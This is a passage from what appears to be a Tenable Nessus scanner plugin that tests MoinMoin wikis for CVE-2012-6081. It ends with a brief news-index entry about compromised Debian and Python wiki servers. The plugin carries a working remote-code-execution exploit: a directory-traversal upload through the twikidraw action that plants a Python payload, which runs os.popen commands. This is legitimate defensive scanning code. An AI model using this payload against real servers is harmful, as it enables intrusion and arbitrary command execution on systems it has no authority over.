MoinMoin process.  Successful exploitation requires that the MoinMoin
plugin directory has write permission set for the MoinMoin server user. 

Note that the 'anywikidraw' action is reportedly also affected by the
directory traversal and code execution vulnerabilities.  The application
is also reportedly affected by an additional directory traversal
vulnerability in the action/AttachFile.py script (CVE-2012-6080) as well
as a cross-site scripting (XSS) vulnerability when creating an rss link
(CVE-2012-6082).  Nessus has not, however, tested for these additional
issues.");
  script_set_attribute(attribute:"see_also", value:"http://moinmo.in/SecurityFixes");
  script_set_attribute(attribute:"see_also", value:"http://moinmo.in/SecurityFixes/CVE-2012-6081");
  # http://www.h-online.com/security/news/item/Hackers-gain-access-to-all-edu-domains-1858471.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1f8ddc57");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.9.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-6495");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/12/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/12/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:moinmo:moinmoin");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("moinmoin_detect.nasl");
  script_require_keys("www/moinmoin");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);

install = get_install_from_kb(
  appname:"moinmoin",
  port:port,
  exit_on_fail:TRUE
);

dir = install["dir"];
install_url = build_url(qs:dir, port:port);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';
  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";


# Check permissions on WikiSandBox page
res = http_send_recv3(
  method       : "GET",
  item         : dir + "/WikiSandBox",
  port         : port,
  exit_on_fail : TRUE
);

if ("Edit (Text)" >!< res[2] || "Edit (GUI)" >!< res[2])
  exit(0, "Authentication is required to test the" + "MoinMoin install at " + install_url + ".");

# Grab a ticket hash needed for the exploit
url = "/WikiSandBox?action=twikidraw&do=modify&target=../../../../data/plugin/action/nessus.py";

res = http_send_recv3(
  method       : "GET",
  item         : dir + url,
  port         : port,
  exit_on_fail : TRUE
);

# Versions 1.9.x < 1.9.2 do not use a ticket hash
# Versions 1.9.2 and up do require this value
pat = "&amp;ticket=(.+)&amp;";
match = eregmatch(pattern:pat, string:res[2]);
if (!isnull(match)) ticket = match[1];
else ticket = "";

# Check for escaping in versions >= 1.9.6 which indicate a non-affected instance
pat2 = 'param name="basename" value="(.._)+';
match2 = eregmatch(pattern:pat2, string:res[2]);
if (!isnull(match2))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "MoinMoin", install_url);

# variables for our loop
vuln = FALSE;
vuln2 = FALSE;

foreach cmd (cmds)
{
  script = (SCRIPT_NAME - ".nasl");
  script =  str_replace(string:script, find:"_", replace:"");
  exp_script = script + unixtime() + ".py";

  # Define our exploits
  # Unix exploit
  unix_exploit = '--89692781418184\nContent-Disposition: form-data;' +
    ' name="filename"\n\ndrawing.r if()else[]\nimport os\ndef execute(p,r):' +
    'exec"print>>r,os\\56popen(' + "'" + cmd + "&&pwd'" + ")\56read()" +
    '"\n--89692781418184\nContent-Disposition: form-data; name="filepath"; ' +
    'filename="drawing.png"\nContent-Type: image/png\n\nMoinMoin error' +
    '\n\n--89692781418184--';

  # Windows exploit
  win_exploit = '--89692781418184\nContent-Disposition: form-data; ' +
    'name="filename"\n\n"\n--89692781418184\nContent-Disposition: form-data;' +
    ' name="filepath"; filename="drawing.png"\nContent-Type: image/png\n\n' +
    'MoinMoin error\ndrawing.r if()else[]\nimport os\ndef execute(p,r):exec"' +
    'print>>r,os\\56popen(' + "'" + cmd + "&& dir'" + ")\56read()" +
    '"\n\n--89692781418184--';

  if (cmd == 'id') exploit = unix_exploit;
  else exploit = win_exploit;

  # Upload our file
  url = "?action=twikidraw&do=save&ticket=" + ticket +
    "&target=../../../../data/plugin/action/" + exp_script;

  res = http_send_recv3(
    method       : "POST",
    item         : dir + "/WikiSandBox" + url,
    add_headers  : make_array("Content-Type",
                   "multipart/form-data; boundary=89692781418184"),
    data         : exploit,
    port         : port,
    exit_on_fail : TRUE
  );
  exp_request = http_last_sent_request();
  upload = res[2];

  # Test code execution with our uploaded file
  check_url = "/WikiSandBox?action=" + (exp_script - ".py");
  res = http_send_recv3(
    method       : "GET",
    item         : dir + check_url,
    port         : port,
    exit_on_fail : TRUE
  );

  # Extract path for reporting. /data/plugin/action is where upload will reside
  if (cmd == 'id')
  {
    get_path = strstr(res[2], "/");
    get_up_path = chomp(get_path) + "/data/plugin/action/" + script + "*";

    output = strstr(res[2], "uid") - get_path;
  }
  else
  {
    get_path = strstr(res[2], "Volume in drive");
    get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
    get_up_path = chomp((get_dir - " Directory of ")) + "\data\plugin\action\"+
       script + "*";

    output = strstr(res[2], "Windows IP") - get_path;
  }

  match = egrep(pattern:cmd_pats[cmd], string:res[2]);


  # For CGI installs, plugins are activated on the next request
  if (match)
  {
    vuln = TRUE;
    break;
  }
  # For the standalone or twisted servers, plugins are activated after
  # restarting the MoinMoin server.
  # For FastCGI and mod_python, Apache needs a restart for exploit to work.
  else if (
   (isnull(upload)) &&
   (!vuln) &&
   ("<h1>Unhandled Exception</h1>" >!< res[2])
  )
  {
    vuln2 = TRUE;
    break;
  }
}

# Exit if upload and/or attack fail
if ((!vuln) && (!vuln2))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "MoinMoin", install_url);

# Reporting
if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

  # Reporting for successful exploit
  if (vuln)
  {
    report =
      '\nNessus was able to verify the issue exists using the following request :' +
       '\n' +
       '\n' + install_url + check_url +
       '\n' +
       '\nNote: This file has not been removed by Nessus and will need to be' +
       '\nmanually deleted (' + get_up_path + ').' +
       '\n';
    if (report_verbosity > 1)
    {
      report +=
        '\nThis file was uploaded using the following request :' +
        '\n' +
        '\n' + snip +
        '\n' + exp_request +
        '\n' + snip +
        '\n' +
        '\n' + 'The file uploaded by Nessus executed the command "'+cmd+ '"' +
        '\nwhich produced the following output :' +
        '\n' +
        '\n' + snip +
        '\n' + chomp(output) +
        '\n' + snip +
        '\n';
    }
  }
  # Reporting for successful upload, but attack would require a server restart
  # in order for plugin to be activated
  else if (vuln2)
  {
    report =
      '\nNessus was able to upload a file to the remote host, however cannot' +
      '\nverify the issue exists until the web server has been restarted.' +
      '\nTo test the issue after restarting your webserver, you can use the' +
      '\nfollowing URL to verify the exploit :' +
      '\n' +
      '\n' + install_url + check_url +
      '\n' +
      '\nNote that this file has not been removed by Nessus and will need to' +
      '\nbe manually deleted (/data/plugin/action/' + script + '*).' +
      '\n';
    if (report_verbosity > 1)
    {
      report +=
        '\nThis file was uploaded using the following request :' +
        '\n' +
        '\n' + snip +
        '\n' + data_protection::sanitize_uid(output:exp_request) +
        '\n' + snip +
        '\n';
    }
  }
  security_warning(port:port, extra:report);
}
else security_warning(port);

The Hacker News

idTHN:513C185A1CC3F29D2D37E30BC34E5D30
last seen2017-01-08
modified2013-01-11
published2013-01-09
reporterMohit Kumar
sourcehttp://thehackernews.com/2013/01/official-debian-and-python-wiki-servers.html
titleOfficial Debian and Python Wiki Servers Compromised

References